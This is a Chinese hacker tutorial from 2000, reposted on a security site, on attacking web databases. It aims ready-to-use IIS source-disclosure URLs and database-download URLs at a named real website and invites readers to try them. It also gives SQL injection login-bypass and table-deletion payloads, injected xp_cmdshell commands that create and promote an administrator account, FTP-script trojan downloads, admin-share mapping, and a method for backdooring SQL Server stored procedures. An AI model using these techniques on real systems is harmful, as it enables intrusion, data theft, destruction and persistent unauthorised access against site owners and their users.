GB | BIG5
|
| 首頁 > 安全技術 > 數據庫 > 正文 |
 |
| 淺談對數據庫的攻擊 |
| http://jjgirl.yeah.net jjgirl (2001-04-19 12:56:15) |
淺談對數據庫的攻擊(1)
佳佳在這裡簡單談一下對數據庫的攻擊。由本人才疏學淺,望大家能夠批評指正。
一般的web server都要使用數據庫來存儲信息,幾乎所有的網站都要用數據庫。這樣就存在著兩種可能,一種是使用小型數據庫,如aceess,一般就儲存在本地。另一種是使用大型數據庫,如SQL server,Oracle這時候一般就放在另一台機器上,然通過ODBC來訪問它。
由頁面經常需要查詢各種信息,修改用戶信息等操作,實質上就是和數據庫打交道了。這樣就給非法用戶留下利用的機會了。
1.對本地數據庫的攻擊。
對本地數據庫的攻擊一種方法就是下載數據庫,然呢,你就可以打開這個數據庫得到內部的用戶和帳號了,以及其它有用的信息。
下面以“水蓮會”為例:
經過掃描,得知www.suilian.net使用的是虛擬主機,使用的是WIndows NT+IIS4.0.掃描器你可以使用twwwscan或者其它,其實功能都大同小異。
在對IIS攻擊時如果能夠看到ASP源代碼,那成功的可能性就很大了。
經過測試,發現此站點存在源代碼暴露漏洞。。。
大家可以試試:
http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=none&CiHiliteType=full
看見了什?
當然源代碼泄露的漏洞有很多種,這裡就不一一列舉,你可以去查漏洞手冊。
現在你就可以去查看ASP源代碼了。
如果你對ASP不熟悉,我簡單介紹一下(其實佳佳也不熟悉)。
ASP是嵌在<%和%>之間。一般使用VBScript或者JavaScript書寫代碼。
看這個例子使用VBScript書寫的:
<%
...
set cn1=server.createobject("ADODB.connection")
dbpath=server.mappath("user.mdb")
cn1.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath
set rs=server.createobject("ADODB.recordset")
rs.open "select * from yhb",cn1,adopenkeyset
...
%>
這是一個典型的與數據庫連接的代碼。
依次的步驟為:
建立連接對象,
設置數據庫路徑,
打開數據庫,
設置記錄對象,
取記錄。
這裡我們就可以知道數據庫的類型,名稱和路徑,這裡是在當前目錄下。
還可以知道數據庫的表名和字段名稱。
有經驗的程序員一般不會把數據庫名直接放在代碼裡,而是在ODBC裡設置數據源,以增加安全性。
然就發現存在
d:\S\suilian\chat\news.mdb
d:\S\suilian\topic22.mdb等數據庫
你只要使用
http://www.suilian.net/chat/news.mdb
http://www.suilian.net/topic22.mdb
就可以把它下載下來。。。
有什問題請在佳佳的BBS留言,經常去586,lovehacker,mayi都是高手。。。
對本地數據庫的攻擊的第二種方法是使用SQL語句,這和遠程數據庫的方法一樣,會在下一節介紹的。
再見!
jjgirl 11.20.2000
淺談對數據庫的攻擊(2)
這次主要介紹對遠程數據庫的攻擊:
佳佳寫完此文得到深圳黑客cyberman的大幅度修改(可以說本文主要內容是由cyberman完成),在此對cyberman的黑客精神表示感謝!
1。突破script的限制。
例如,某網頁上有一文本框,允許你輸入用戶名稱,但是它限制你只能輸入4個字符。許多程序都是在客戶端限制,然用msgbox彈出錯誤提示。如果你攻擊時需要突破此限制,只需要在本地做一個一樣的主頁,只是取消了限制,通常是去掉VBscript或IavaScript的限制程序,就可以成功突破。
如果是javascript做的,幹脆臨時把瀏覽器的腳本支持關掉。如果是
有經驗的程序員常常在程序台再做一遍檢驗,如果有錯誤就用response.write或類似的語句輸出錯誤。
2。對SQL的突破
例如某網頁需要你輸入用戶名稱和口令,這樣就有兩個文本框等待你的輸入,現在我們假設有一用戶adam,我們不知道他的口令,卻想以他的身份登陸。
正常情況下,我們在第一個文本框輸入adam,第二個文本框輸入1234之類的密碼,如果密碼正確就可以進入,否則報錯。
程序中的查詢語句可能是:
sql="select * from user where username='"&text1.value&"' and passwd= '"&text2.value&"'"
執行時候就是
select * from user where username='adam' and passwd='1234'
好了,
如果我們在text2裡輸入的不是1234,而是1234'"&"'or 1=1
我們的sql語句就成了,
select * from user where username='adam' and passwd='1234' or 1=1
我們就可以進入了。。。
有經驗的用戶就在程序中增加對單引號等特殊字符的過濾。
但是,一般人習慣上有兩種登錄認証方式我就用ASP的VBScript做例子了:
一是用select * from ... where username = ' & Request.Form("username") & "password = " & Request.Form("password"),然判斷結果是否為空來驗証。其實還有一種方式:
用select * from ... where username = ' & Request.Form("username"), 然判斷結果集中的密碼是否和輸入相同來驗証,這種方式就安全一些了。
3。利用多語句執行漏洞。
根據上面的思路,如果用戶根據書名(例如linux入門)查詢所有的書,SQL語句為
select book.name,book.content from book where bookname='linux入門'
如果我們輸入的不是linux入門而是 linux入門' delete from user where '1' = '1
從而構成對表的刪除。
成功的前提條件是對方允許多條語句的執行。
由程序沒有處理邊界符“'”產生的漏洞的危害程度和結果集的類型及數據庫的配置有很大的關系。首先說結果集,如果結果集只支持單條的SQL語句,那你所能做的只是上面提到的那種在密碼框內輸入' or '1' = '1來登錄,其他的做不了。
我們還可以用這種方法在數據庫裡增加用戶。
4。SQL Server裝完自動創建一個管理用戶sa,密碼為空。而好多人裝完並不去改密碼,這樣就留下了一個極大的安全問題,我稍再細說。
程序中的連接一般用兩種,不是用global.asa就是用SSL文件。SSL文件一般人習慣放到到Web的/include或/inc目錄下。而且文件名常會是conn.inc、db_conn.inc、dbconninc,等等,反正有時能猜到。
如果這個目錄沒有禁讀,一旦猜到文件名就可以了,因為.inc一般不會去做關聯的,直接請求不是下載就是顯示源文件。
還有當主要程序放到一個綴為.inc的文件而沒有處理“'”,當運行出錯時返回的出錯信息中常會暴露.inc文件,我遇到過幾次這樣的情況。其實可以在IIS裡設置來不回應腳本出錯信息的。
5。數據庫的利用。
如果程序中的連接用戶權限極小,甚至多數表只能讀,你就很難有所作為了。這時所能做的是能猜出表名和字段名來進行刪除數據或表的操作。
INSERT語句利用起來討厭一些,主要是裡面有好多列,而且還要處理掉最的“)”。
我就以我最熟悉的MS SQL Server來說一些吧。它的默認端口號是1433,你用telnet連一下服務器的這個端口,如果能連上去一般是裝了MS SQL Server,當然這是可以改掉的。
好了,說一說數據庫的利用。
如果對方的數據直接在Web服務器上而且你知道端口號,有帳號就幹脆用SQL Analyzer來直接連接數據庫。在它裡面可以執行SQL語句。常用的是存儲過程master.dbo.xp_cmdshell,這是一個擴展存儲過程,它只有一個參數,把參數做為系統命令來裝給系統執行。
如果是管理用戶就有權執行這個存儲過程,而且這時可以執行很多操作,如用ipconfig來看ip設置,用net user來看系統用戶。不過用net user /add 用戶名 密碼並不一定成功,有時會返回一個“指定的登錄會話不存在”而不能執行,原因我還不清楚。
如果沒有權限也不要緊,MS SQL Server有個漏洞,你可以創建一個臨時存儲過程來執行,就可以繞過去,如:
CREATE PROC #cmdshell(@cmdstr varchar(200))
AS
EXEC master.dbo.xp_cmdshell @cmdshell
當然這時是沒有權限執行net user /add等的,不過可以查看,可以創建文件。
反復用echo創建一個FTP腳本,把木馬傳到一個FTP站點上,然用存儲過程調用ftp來利用腳本來下載並安裝,然......呵呵:)
如果數據庫沒有裝在Web服務器上所以沒有找到或改了端口號而一時找不到還是有辦法的。
如果數據庫服務器直接從Internet上無法訪問,你可以利用程序裡的漏洞來刪除、修改數據或加入javascript語句到數據庫,通常他們顯示本來應該自己人錄入的數據時不去過濾<>,所以可以用javascript把它轉到其他站點上或做些什。
如果只是改了端口號就要看程序裡數據庫用戶的權限了,如果是管理用戶,可以用' exec master.dbo.xp_cmshell 'net user /add aaa bbb來創建一個操作系統用戶,然再用' exec master.dbo.xp_cmdshell 'net localgroup /add administrators aaa來把它升級為超級用戶。
如果這台服務器的NetBIOS綁定了TCP/IP,而且C$、D$等管理共享存在,呵呵,恭喜了,你在DOS命令下用net use Z: \ip address$ "bbb" /user:"aaa"就可以把對方的整個C盤映射為你本地的一個網絡驅對器Z:了。
6。數據庫裡如何留門。
創建用戶的sp_addlogin、權限分配的sp_addsrvrolemember是用一條語句來判斷用戶是否有權限執行,也就是說用戶都可以執行它,它再來判斷用戶是否有權執行。
當你攻入一個數據庫時可以用它的Enterprise Manager來連上去修改這些存儲過程,因為這些存儲過程都沒有加密。
可以在判斷的地方加個條件,當這個條件滿足時就不直接執行下去而不管是什權限的用戶調用它。
不過改完要注意,這時它的Type成了User,要想改回可以到sysobjects表中把name為sp_addlogin的一條刪除,然再把沒有改過的相同版本的MS SQL Server的同一條記錄拷貝進去就可以了。
當然不要忘了這些默認是不能手工修改的,要修改得先把掉SQL Server的參數,改完不要忘了再改回來啊:) 這時只要網站的程序有問題,不管程序中的用戶權限如何,你都可以隨時創建SQL Server的管理用戶。
7。數據庫掃描工具。
ISS DATABASE Scanner
下載:http://www.is-one.net/product/product.php?pid=11
全文結束!
jjgirl
2000.12.25
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
|
====== |
|
|
 |
★ 樊強制作 歡迎分享 ★ |